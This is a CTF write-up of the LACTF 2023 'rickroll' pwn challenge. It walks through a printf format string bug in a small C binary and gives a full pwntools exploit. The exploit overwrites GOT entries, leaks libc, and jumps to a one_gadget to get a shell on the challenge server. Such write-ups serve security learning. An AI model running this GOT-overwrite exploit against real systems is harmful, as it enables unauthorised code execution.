8 minutes
🇬🇧 LACTF 2023 - pwn/rickroll
Note
Third pwn
challenge from the LACTF 2023
. It confirmed that I definitely hate format string vulnerabilities.
Description
Make your own custom rickroll with my new rickroll program!
Dockerfile
, rickroll
, rickroll.c
File information
checksec rickroll && file rickroll
[*] '/home/conflict/ctfs/lactf2023/rickroll/rickroll'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
rickroll: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a86d346d66fd7261ce17804cc837d0c5f1a2cfa8, for GNU/Linux 3.2.0, not stripped
So, we’re going to work on a 64 bits non-stripped dynamically linked executable, with NX
enabled, but it’s not a problem for us since we’re not going to use a shellcode. Also, it is only Partial RELRO so we will be able to overwrite GOT
entries
We’re given a dockerfile, so we can pull the libc
and the dynamic linker
from the container to match the remote env
root@023e43a6f3af:/chal# ldd rickroll
linux-vdso.so.1 (0x00007fff54d5e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4182295000)
/lib64/ld-linux-x86-64.so.2 (0x00007f418246e000)
root@023e43a6f3af:/chal# ls -la /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Oct 14 19:35 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.31.so
root@023e43a6f3af:/chal# cp /lib/x86_64-linux-gnu/libc-2.31.so ./
root@023e43a6f3af:/chal# ls
Dockerfile bruteforce.py flag.txt libc-2.31.so rickroll rickroll.c solve.py
For the source code, there is no need to decompile the file or to struggle with some pseudo-code because we have the .c
file.
#include <stdio.h>
int main_called = 0;
int main(void) {
if (main_called) {
puts("nice try");
return 1;
}
main_called = 1;
setbuf(stdout, NULL);
printf("Lyrics: ");
char buf[256];
fgets(buf, 256, stdin);
printf("Never gonna give you up, never gonna let you down\nNever gonna run around and ");
printf(buf);
printf("Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n");
return 0;
}
Exploitation
We can see by looking at the code that there is a call to fgets()
that reads 256 bytes
and stores them in the buf
variable that is 256 bytes
long, so no buffer overflow here…
But we can see this very dangerous line:
printf(buf);
This shows that the program is vulnerable to format string exploit. So we will be able to leak addresses from the stack
and eventually modify some entries
.
If we start thinking about our exploit here, we quickly see we’re going to be stuck… There is no win function so we have to make our way to a shell, but to do that we would need to have a leak of the libc
… That’s not a problem since we know there is a format string vulnerability, but the main function doesn’t loop so we only have one input to leak libc
and overwrite a libc
entry… this is impossible
I struggled a lot on this step, I couldn’t figure out how to loop main somehow… And I ended up seeing something interesting
By taking a look at the main
function in the executable (and not the .c
file) by disassembling it, we see that the last printf
was replaced by a puts
(probably by the compiler)
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: sub rsp,0x100
0x000000000040115d <+11>: mov eax,DWORD PTR [rip+0x2f09] # 0x40406c <main_called>
0x0000000000401163 <+17>: test eax,eax
0x0000000000401165 <+19>: je 0x40117d <main+43>
0x0000000000401167 <+21>: lea rdi,[rip+0xe9a] # 0x402008
0x000000000040116e <+28>: call 0x401030 <puts@plt>
0x0000000000401173 <+33>: mov eax,0x1
0x0000000000401178 <+38>: jmp 0x4011fd <main+171>
0x000000000040117d <+43>: mov DWORD PTR [rip+0x2ee5],0x1 # 0x40406c <main_called>
0x0000000000401187 <+53>: mov rax,QWORD PTR [rip+0x2ec2] # 0x404050 <stdout@GLIBC_2.2.5>
0x000000000040118e <+60>: mov esi,0x0
0x0000000000401193 <+65>: mov rdi,rax
0x0000000000401196 <+68>: call 0x401040 <setbuf@plt>
0x000000000040119b <+73>: lea rdi,[rip+0xe6f] # 0x402011
0x00000000004011a2 <+80>: mov eax,0x0
0x00000000004011a7 <+85>: call 0x401050 <printf@plt>
0x00000000004011ac <+90>: mov rdx,QWORD PTR [rip+0x2ead] # 0x404060 <stdin@GLIBC_2.2.5>
0x00000000004011b3 <+97>: lea rax,[rbp-0x100]
0x00000000004011ba <+104>: mov esi,0x100
0x00000000004011bf <+109>: mov rdi,rax
0x00000000004011c2 <+112>: call 0x401060 <fgets@plt>
0x00000000004011c7 <+117>: lea rdi,[rip+0xe52] # 0x402020
0x00000000004011ce <+124>: mov eax,0x0
0x00000000004011d3 <+129>: call 0x401050 <printf@plt>
0x00000000004011d8 <+134>: lea rax,[rbp-0x100]
0x00000000004011df <+141>: mov rdi,rax
0x00000000004011e2 <+144>: mov eax,0x0
0x00000000004011e7 <+149>: call 0x401050 <printf@plt>
0x00000000004011ec <+154>: lea rdi,[rip+0xe7d] # 0x402070
0x00000000004011f3 <+161>: call 0x401030 <puts@plt>
0x00000000004011f8 <+166>: mov eax,0x0
0x00000000004011fd <+171>: leave
0x00000000004011fe <+172>: ret
End of assembler dump.
So here is what we’re going to do:
- First, we will overwrite
puts
’sGOT
entry by any address from the main function thanks to our format string vuln, so that when the code reaches theputs
at the bottom ofmain
, it goes back up - Then, we will leak
libc
and calculate its base - We will then overwrite
printf
’sGOT
entry by a one gadget (hoping the restrictions can be matched)
For the first part, we need to figure out where our input “lives”, to do so, we enter a bunch of A’s, and see where they end up:
./rickroll
Lyrics: AAAAAAAA - %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
<...>
Never gonna run around and AAAAAAAA - 0x7fff55ecfa20.(nil).0x7f5d62d80a37.0x4d.0x1a4a2a0.0x4141414141414141.0x70252e7025202d20.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0xa70252e70.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil)
<...>
We see that the 6th leak is 0x41414141...
, 0x41
is a capital A, so this is where our input lives.
Knowing that, we can start making our exploit:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./rickroll")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("lac.tf", 31135)
return r
def main():
r = conn()
main = p64(0x0040117d)
# We replace puts by main+43 so that when puts is called it returns to main
writes = {
exe.got['puts']:main
}
# We use the format string payload from pwntools, telling him where our input lives
payload = fmtstr_payload(6,writes)
r.sendlineafter(b"Lyrics:", payload)
# Now, we are back to the top of the main function
r.recv()
#r.interactive()
if __name__ == "__main__":
main()
After checking that it works, we can now think about step 2: leaking libc
To do so, we can make a quick script to generate a payload that will print more addresses and check what they are with pwndbg
#!/usr/bin/env python3
payload = ""
for i in range(25,50):
payload += str(i) + " = %"+str(i)+"$p "
print(payload)
Entering our payload in the input, we get this:
25 = 0x25203d2039332070 26 = 0x2030342070243933 27 = 0x207024303425203d 28 = 0x313425203d203134 29 = 0x203d203234207024 30 = 0x3334207024323425 31 = 0x7024333425203d20 32 = 0x3425203d20343420 33 = 0x3d20353420702434 34 = 0x3420702435342520 35 = 0x24363425203d2036 36 = 0x25203d2037342070 37 = 0x38342070243734 38 = 0x1 39 = 0x7ffff7da3d90 40 = (nil) 41 = 0x401152 42 = 0x100000000 43 = 0x7fffffffe028 44 = (nil) 45 = 0x6c3d408a4458d46 46 = 0x7fffffffe028 47 = 0x401152
After inspecting the interesting addresses (the ones that start with 0x7f....
), we know that the 39th address corresponds to <__libc_start_call_main+128>
pwndbg> x/x 0x7ffff7da3d90
0x7ffff7da3d90 <__libc_start_call_main+128>: 0x89
After realising that the remote address at position 39 looks something like
0x40xxxx
, I poked around and tried to find where the libc address was. This usually happens because the stack layout is not the same locally and remotely and sometimes the position is a bit different
We can complete our exploit with the leak:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./rickroll")
libc = ELF("./libc-2.31.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("lac.tf", 31135)
return r
def main():
r = conn()
main = 0x0040117d
# We replace puts by main+43 so that when puts is called it returns to main
writes = {
exe.got['puts']:main
}
# We use the format string payload from pwntools, telling him where our input lives
payload = fmtstr_payload(6,writes)
r.sendlineafter(b"Lyrics:", payload)
# Now, we are back to the top of the main function
payload = b".%40$p"
r.recv()
# Leak the 40th element on the stack (<__libc_start_call_main+128>)
r.sendlineafter(b"Lyrics", payload)
r.recv()
# Make it an integer
leak = int(r.recv().split(b".")[1].split(b"\n")[0].decode('utf-8'), 16)
print("Leak =", hex(leak))
# Calculate libc address by doing leak - (leak - base)
libc.address = leak - (0x7f1c6ed22d0a - 0x7f1c6ecff000)
print("libc address = ", hex(libc.address))
Now that we have the base of libc
, we can overwrite printf
with a one gadget that will give us a shell… let’s look for a one gadget
:
one_gadget libc-2.31.so
0xc961a execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
0xc961d execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
0xc9620 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Let’s try them one by one until we find one that works
I had to re-do the
AAAA %p %p %p
trick because the input had moved from6th
to8th
position
After testing them one by one, I figured the last one works.
Final Payload
#!/usr/bin/env python3
from pwn import *
exe = ELF("./rickroll")
libc = ELF("./libc-2.31.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("lac.tf", 31135)
return r
def main():
r = conn()
main = 0x0040117d
# We replace puts by main+43 so that when puts is called it returns to main
writes = {
exe.got['puts']:main
}
# We use the format string payload from pwntools, telling him where our input lives
payload = fmtstr_payload(6,writes)
r.sendlineafter(b"Lyrics:", payload)
# Now, we are back to the top of the main function
payload = b".%40$p"
r.recv()
# Leak the 40th element on the stack (<__libc_start_call_main+128>)
r.sendlineafter(b"Lyrics", payload)
r.recv()
# Make it an integer
leak = int(r.recv().split(b".")[1].split(b"\n")[0].decode('utf-8'), 16)
print("Leak =", hex(leak))
# Calculate libc address by doing leak - (leak - base)
libc.address = leak - (0x7f1c6ed22d0a - 0x7f1c6ecff000)
print("libc address = ", hex(libc.address))
# Dont forget to add the base of libc
one_gadget = 0xc9620 + libc.address
writes = {
exe.got['printf']:one_gadget
}
payload = fmtstr_payload(8, writes)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
We can make sure that it works:
And it does, gg!
flag -> lactf{printf_gave_me_up_and_let_me_down}